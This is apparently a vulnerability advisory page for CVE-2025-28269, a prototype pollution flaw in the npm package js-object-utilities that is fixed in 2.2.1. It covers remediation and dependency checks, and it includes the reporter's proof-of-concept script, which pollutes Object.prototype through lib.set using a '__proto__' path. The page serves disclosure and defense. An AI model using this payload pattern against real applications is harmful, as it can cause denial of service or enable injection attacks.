CVE-2025-28269: Js object utilities Js-object-utilities Vulnerable To Prototype Pollution Vulnerability

HIGH
Advisory Identifier: GHSA-hpqf-m68j-2pfx
Share
CWE-1321
Published
Advisory Summary

CVE-2025-28269 is a HIGH js-object-utilities vulnerable to prototype pollution vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Js object utilities libraries in the npm ecosystem. The issue involves js-object-utilities vulnerable to prototype pollution. Remediation is available by upgrading affected packages to version 2.2.1.

CVE-2025-28269 at a Glance

CVE Identifier CVE-2025-28269
GHSA Identifier GHSA-hpqf-m68j-2pfx
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product Js object utilities
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2025-28269

To remediate this vulnerability, upgrade all affected Js object utilities dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

js-object-utilities fixed: 2.2.1 
npm install js-object-utilities@2.2.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls js-object-utilities

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-28269, inspect your project dependencies using npm:

npm ls js-object-utilities

Analyze the terminal output to locate any version of Js object utilities in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.2.1), your application is affected.

Note: The npm ls js-object-utilities command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Js object utilities, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**Vulnerability type:** Prototype Pollution **Affected Package:** * Product: js-object-utilities * Version: 2.2.0 **Remedy:** Update package to version 2.2.1. **Vulnerability Location(s):** ```js at module.exports (/node_modules/js-object-utilities/dist/set.js:16:29) ``` **Description:** The latest version of `js-object-utilities (2.2.0)`, (previous versions are also affected), is vulnerable to Prototype Pollution through the entry function(s) `lib.set`. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence. Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context. **PoC:** ```bash // install the package with the latest version ~$ npm install js-object-utilities@2.2.0 // run the script mentioned below ~$ node poc.js //The expected output (if the code still vulnerable) is below. // Note that the output may slightly differs from function to another. Before Attack: {} After Attack: {"pollutedKey":123} ``` ```js // poc.js (async () => { const lib = await import('js-object-utilities'); var someObj = {} console.log("Before Attack: ", JSON.stringify({}.__proto__)); try { // for multiple functions, uncomment only one for each execution. Reflect.apply(lib.set, {}, [someObj, "__proto__.pollutedKey", 123]); } catch (e) { } console.log("After Attack: ", JSON.stringify({}.__proto__)); delete Object.prototype.pollutedKey; })(); ``` **Reporter Credit:** Tariq Hawis

CVE-2025-28269 Affected Js object utilities Versions

1 component(s)
Fixed Versions:
2.2.1
Product / Package Ecosystem Affected Versions Fixed Version
js-object-utilities
npm/js-object-utilities
npm
< 2.2.1
2.2.1

References

GitHub Advisory / Wiki ADVISORY
https://github.com/rrainn/js-object-utilities/security/advisories/GHSA-hpqf-m68j-2pfx
Security Fix Commit FIX COMMIT
https://github.com/rrainn/js-object-utilities/commit/05ca694207270b7de275767f3fc93a2a643692a7
Js object utilities Source Repository REPOSITORY
https://github.com/rrainn/js-object-utilities

Frequently Asked Questions

What is CVE-2025-28269?
CVE-2025-28269 is a security vulnerability in Js object utilities involving js-object-utilities Vulnerable to Prototype Pollution under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which Js object utilities versions are affected?
Affected versions include releases prior to 2.2.1 across affected packages: js-object-utilities.
What version fixes CVE-2025-28269?
Upgrading to 2.2.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is js-object-utilities affected?
Yes, js-object-utilities is affected in releases prior to 2.2.1. Upgrade your dependency to 2.2.1 or later.
What CWE is associated with CVE-2025-28269?
CVE-2025-28269 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check npm dependencies for CVE-2025-28269?
Run the dependency tree command: 'npm ls js-object-utilities'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hpqf-m68j-2pfx",
  "modified" : "2025-04-14T22:11:03Z",
  "published" : "2025-04-07T18:52:04Z",
  "aliases" : [ "CVE-2025-28269" ],
  "summary" : "js-object-utilities Vulnerable to Prototype Pollution",
  "details" : "**Vulnerability type:**\nPrototype Pollution\n\n**Affected Package:**\n* Product: js-object-utilities\n* Version: 2.2.0\n\n**Remedy:**\n\nUpdate package to version 2.2.1.\n\n**Vulnerability Location(s):**\n```js\nat module.exports (/node_modules/js-object-utilities/dist/set.js:16:29)\n```\n\n**Description:**\n\nThe latest version of `js-object-utilities (2.2.0)`, (previous versions are also affected), is vulnerable to Prototype Pollution through the entry function(s) `lib.set`. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.\n\nMoreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.\n\n**PoC:**\n\n```bash\n// install the package with the latest version\n~$ npm install js-object-utilities@2.2.0\n// run the script mentioned below \n~$ node poc.js\n//The expected output (if the code still vulnerable) is below. \n// Note that the output may slightly differs from function to another.\nBefore Attack:  {}\nAfter Attack:  {\"pollutedKey\":123}\n```\n\n```js\n// poc.js\n(async () => {\n    const lib = await import('js-object-utilities');\n    var someObj = {}\n    console.log(\"Before Attack: \", JSON.stringify({}.__proto__));\n    try {\n        // for multiple functions, uncomment only one for each execution.\n        Reflect.apply(lib.set, {}, [someObj, \"__proto__.pollutedKey\", 123]);\n    } catch (e) { }\n    console.log(\"After Attack: \", JSON.stringify({}.__proto__));\n    delete Object.prototype.pollutedKey;\n})();\n```\n\n**Reporter Credit:**\n\nTariq Hawis",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "js-object-utilities"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.2.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rrainn/js-object-utilities/security/advisories/GHSA-hpqf-m68j-2pfx"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rrainn/js-object-utilities/commit/05ca694207270b7de275767f3fc93a2a643692a7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rrainn/js-object-utilities"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-04-07T18:52:04Z",
    "nvd_published_at" : null
  }
}